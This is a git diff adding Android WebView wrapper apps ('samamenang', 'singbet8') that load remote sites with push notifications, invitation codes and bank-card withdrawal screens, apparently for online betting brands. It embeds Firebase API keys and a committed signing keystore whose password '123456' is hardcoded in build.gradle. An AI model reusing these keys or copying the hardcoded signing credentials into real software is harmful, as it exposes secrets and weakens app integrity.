--- /dev/null
+++ b/samamenang/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "1028742213356",
+ "project_id": "samamenang",
+ "storage_bucket": "samamenang.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:1028742213356:android:7751b87530831d464affc9",
+ "android_client_info": {
+ "package_name": "com.xyz.samamenang"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyBIrR3oYvKi9u-4taVzNwZJrQiJSRfSCh8"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/samamenang/justlet.jks b/samamenang/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/samamenang/justlet.jks differ
diff --git a/samamenang/proguard-rules.pro b/samamenang/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/samamenang/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/samamenang/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/samamenang/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/samamenang/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/samamenang/src/main/AndroidManifest.xml b/samamenang/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..1525469
--- /dev/null
+++ b/samamenang/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/java/com/xyz/samamenang/MainActivity.java b/samamenang/src/main/java/com/xyz/samamenang/MainActivity.java
new file mode 100644
index 0000000..d295137
--- /dev/null
+++ b/samamenang/src/main/java/com/xyz/samamenang/MainActivity.java
@@ -0,0 +1,82 @@
+package com.xyz.samamenang;
+
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/samamenang/src/main/java/com/xyz/samamenang/MyFirebaseMessageingService.java b/samamenang/src/main/java/com/xyz/samamenang/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..286adc4
--- /dev/null
+++ b/samamenang/src/main/java/com/xyz/samamenang/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.samamenang;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/samamenang/src/main/java/com/xyz/samamenang/WebApplication.java b/samamenang/src/main/java/com/xyz/samamenang/WebApplication.java
new file mode 100644
index 0000000..cd2962f
--- /dev/null
+++ b/samamenang/src/main/java/com/xyz/samamenang/WebApplication.java
@@ -0,0 +1,18 @@
+package com.xyz.samamenang;
+
+import android.app.Application;
+import android.content.Context;
+
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/samamenang/src/main/res/drawable/big_bg.xml b/samamenang/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/samamenang/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/mipmap-xxhdpi/app_logo.jpg b/samamenang/src/main/res/mipmap-xxhdpi/app_logo.jpg
new file mode 100644
index 0000000..1d7cc07
Binary files /dev/null and b/samamenang/src/main/res/mipmap-xxhdpi/app_logo.jpg differ
diff --git a/samamenang/src/main/res/values-en/strings.xml b/samamenang/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/samamenang/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/values-night/themes.xml b/samamenang/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/samamenang/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/values/app_config.xml b/samamenang/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..921acd3
--- /dev/null
+++ b/samamenang/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ SamaMenang
+
+ 235
+
+ https://samamenang.world/
+
+ 1
+
+ 1
+
+ #070707
+
+ #0d0502
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/values/colors.xml b/samamenang/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/samamenang/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/values/strings.xml b/samamenang/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/samamenang/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/values/themes.xml b/samamenang/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/samamenang/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/xml/app_updater_paths.xml b/samamenang/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/samamenang/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/xml/network_security_config.xml b/samamenang/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/samamenang/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/main/res/xml/provider_paths.xml b/samamenang/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/samamenang/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/samamenang/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/samamenang/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/samamenang/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/settings.gradle b/settings.gradle
index a71253b..a471851 100644
--- a/settings.gradle
+++ b/settings.gradle
@@ -185,3 +185,14 @@ include ":7pokies"
include ':testtime'
include ':bkk88au'
include ':tkgo'
+include ':meemee99'
+include ':facai8'
+include ':2ugo'
+include ':samamenang'
+include ':limau55'
+include ':99kopitiam'
+include ':nyonya9'
+include ':malaysia33'
+include ':singbet8'
+include ':1xaud'
+include ':market'
\ No newline at end of file
diff --git a/singbet8/.gitignore b/singbet8/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/singbet8/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/singbet8/build.gradle b/singbet8/build.gradle
new file mode 100644
index 0000000..3eb8e35
--- /dev/null
+++ b/singbet8/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.singbet8"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "singbet8kgjdfkgheriugerr"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/singbet8/google-services.json b/singbet8/google-services.json
new file mode 100644
index 0000000..85b68ee
--- /dev/null
+++ b/singbet8/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "610624698567",
+ "project_id": "singbet8-a45d7",
+ "storage_bucket": "singbet8-a45d7.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:610624698567:android:eb5f606e764c0791c8e6e2",
+ "android_client_info": {
+ "package_name": "com.xyz.singbet8"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyBlyPY_wRLv9MXFk_jj3M5dYpQZCKcWWqI"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/singbet8/justlet.jks b/singbet8/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/singbet8/justlet.jks differ
diff --git a/singbet8/proguard-rules.pro b/singbet8/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/singbet8/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/singbet8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/singbet8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/singbet8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/singbet8/src/main/AndroidManifest.xml b/singbet8/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..71fb783
--- /dev/null
+++ b/singbet8/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/ic_launcher-playstore.png b/singbet8/src/main/ic_launcher-playstore.png
new file mode 100644
index 0000000..6dfc6f7
Binary files /dev/null and b/singbet8/src/main/ic_launcher-playstore.png differ
diff --git a/singbet8/src/main/java/com/xyz/singbet8/MainActivity.java b/singbet8/src/main/java/com/xyz/singbet8/MainActivity.java
new file mode 100644
index 0000000..a857412
--- /dev/null
+++ b/singbet8/src/main/java/com/xyz/singbet8/MainActivity.java
@@ -0,0 +1,82 @@
+package com.xyz.singbet8;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ saveInt(MainActivity.this,"hasContact",Integer.parseInt(getString(R.string.has_contact)));
+
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/singbet8/src/main/java/com/xyz/singbet8/MyFirebaseMessageingService.java b/singbet8/src/main/java/com/xyz/singbet8/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..028a808
--- /dev/null
+++ b/singbet8/src/main/java/com/xyz/singbet8/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.singbet8;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
